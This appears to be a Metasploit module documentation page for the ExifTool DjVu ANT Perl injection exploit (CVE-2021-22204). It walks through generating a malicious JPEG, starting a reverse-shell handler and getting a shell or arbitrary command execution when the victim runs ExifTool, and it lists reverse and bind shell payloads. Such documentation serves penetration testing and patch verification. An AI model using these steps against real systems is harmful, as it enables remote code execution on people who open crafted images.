ExifTool DjVu ANT Perl injection - Metasploit

This page contains detailed information about how to use the exploit/unix/fileformat/exiftool_djvu_ant_perl_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: ExifTool DjVu ANT Perl injection
Module: exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
Source code: modules/exploits/unix/fileformat/exiftool_djvu_ant_perl_injection.rb
Disclosure date: 2021-05-24
Last modification time: 2021-05-11 12:11:22 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-22204

This module exploits a Perl injection vulnerability in the DjVu ANT parsing code of ExifTool versions 7.44 through 12.23 inclusive. The injection is used to execute a shell command using Perl backticks. The DjVu image can be embedded in a wrapper image using the HasselbladExif EXIF field.

Module Ranking and Traits

Module Ranking:

excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

msf > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
msf exploit(exiftool_djvu_ant_perl_injection) > show targets
    ... a list of targets ...
msf exploit(exiftool_djvu_ant_perl_injection) > set TARGET target-id
msf exploit(exiftool_djvu_ant_perl_injection) > show options
    ... show and set options ...
msf exploit(exiftool_djvu_ant_perl_injection) > exploit

Knowledge Base

Vulnerable Application

ExifTool is vulnerable to Perl injection when parsing a crafted DjVu ANT (Annotation) section. Using the 'HasselbladExif' EXIF field, a DjVu file containing the ANT data can be embedded in another file, such as a JPEG or TIFF file. Upon passing a crafted DjVu file or a "wrapped" DjVu file to ExifTool, arbitrary Perl code can be executed.

Perl backticks are used to execute shell commands.

The vulnerability affects ExifTool 7.44 through 12.23 inclusive.

A copy of the vulnerable software can be obtained at https://github.com/exiftool/exiftool/releases/tag/12.23

The .tar.gz can simply be unpacked and used as-is:

% tar -xf 12.23.tar.gz 

% ./exiftool-12.23/exiftool exiftool-12.23/t/images/Writer.jpg
ExifTool Version Number         : 12.23
File Name                       : Writer.jpg
Directory                       : exiftool-12.23/t/images
File Size                       : 251 bytes
File Modification Date/Time     : 2021:04:02 05:24:21+11:00
File Access Date/Time           : 2021:05:04 20:57:46+10:00
File Inode Change Date/Time     : 2021:05:04 20:57:46+10:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Image Width                     : 8
Image Height                    : 8
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 8x8
Megapixels                      : 0.000064

Verification Steps

Obtain the vulnerable application
Start msfconsole
Do: use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
Set the payload and payload options as appropriate
Do: exploit
Start a handler
Transfer the generated msf.jpg file to the machine running the vulnerable application
On the victim machine, do exiftool msf.jpg
You should get a shell

Options

TARGET - you can choose between JPEG (Default), TIFF and DjVu
FILENAME - the name of the image file to produce. Note that it is safe to rename a file after it has been generated.

Scenarios

ExifTool 12.23 - Reverse TCP shell

Generate the image file

msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection 
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit

[+] msf.jpg stored at /home/justin/.msf4/local/msf.jpg
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) >

Start a handler

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444

As the victim, use ExifTool to analyse the image

% ~/exiftool-12.23/exiftool /home/justin/.msf4/local/msf.jpg

ExifTool will hang and a shell session will be opened

[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38606) at 2021-05-04 21:07:37 +1000

id
uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)

ExifTool 12.23 - Arbitrary command execution

Generate the image file

msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection 
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set PAYLOAD cmd/unix/generic 
PAYLOAD => cmd/unix/generic
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set CMD 'echo "Pwned as $(id)"'
CMD => echo "Pwned as $(id)"
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit

[+] msf.jpg stored at /home/justin/.msf4/local/msf.jpg
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) >

As the victim, use ExifTool to analyse the image. The STDOUT of CMD will be reflected in the 'Author' EXIF field.

% ~/exiftool-12.23/exiftool /home/justin/.msf4/local/msf.jpg | grep Author
Author                          : .Pwned as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo).

Go back to menu.

Msfconsole Usage

Here is how the unix/fileformat/exiftool_djvu_ant_perl_injection exploit module looks in the msfconsole:

msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show info

       Name: ExifTool DjVu ANT Perl injection
     Module: exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-24

Provided by:
  William Bowling
  Justin Steven

Available targets:
  Id  Name
  --  ----
  0   JPEG file
  1   TIFF file
  2   DjVu file

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.jpg          yes       Output file

Payload information:
  Space: 2000
  Avoid: 5 characters

Description:
  This module exploits a Perl injection vulnerability in the DjVu ANT 
  parsing code of ExifTool versions 7.44 through 12.23 inclusive. The 
  injection is used to execute a shell command using Perl backticks. 
  The DjVu image can be embedded in a wrapper image using the 
  HasselbladExif EXIF field.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-22204
  https://twitter.com/wcbowling/status/1385803927321415687
  https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031
  https://www.openwall.com/lists/oss-security/2021/05/10/5

Module Options

This is a complete list of options available in the unix/fileformat/exiftool_djvu_ant_perl_injection exploit:

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show options

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   JPEG file

Advanced Options

Here is a complete list of advanced options supported by the unix/fileformat/exiftool_djvu_ant_perl_injection exploit:

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show advanced

Module advanced options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/fileformat/exiftool_djvu_ant_perl_injection module can exploit:

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   JPEG file
   1   TIFF file
   2   DjVu file

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/fileformat/exiftool_djvu_ant_perl_injection exploit:

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   8   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   9   payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   10  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   11  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   12  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   13  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   14  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   15  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   16  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   17  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   18  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   19  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   20  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   21  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   22  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   23  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   24  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   25  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   26  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   27  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   28  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the unix/fileformat/exiftool_djvu_ant_perl_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

#15185 Merged Pull Request: Add CVE-2021-22204 ExifTool ANT perl injection

References

Authors

William Bowling
Justin Steven

Version

This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

ExifTool DjVu ANT Perl injection - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Knowledge Base

Vulnerable Application

Verification Steps

Options

Scenarios

ExifTool 12.23 - Reverse TCP shell

ExifTool 12.23 - Arbitrary command execution

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

References

See Also

Authors

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ExifTool DjVu ANT Perl injection - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Knowledge Base

Vulnerable Application

Verification Steps

Options

Scenarios

ExifTool 12.23 - Reverse TCP shell

ExifTool 12.23 - Arbitrary command execution

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Related Pull Requests

References

See Also

Authors

Version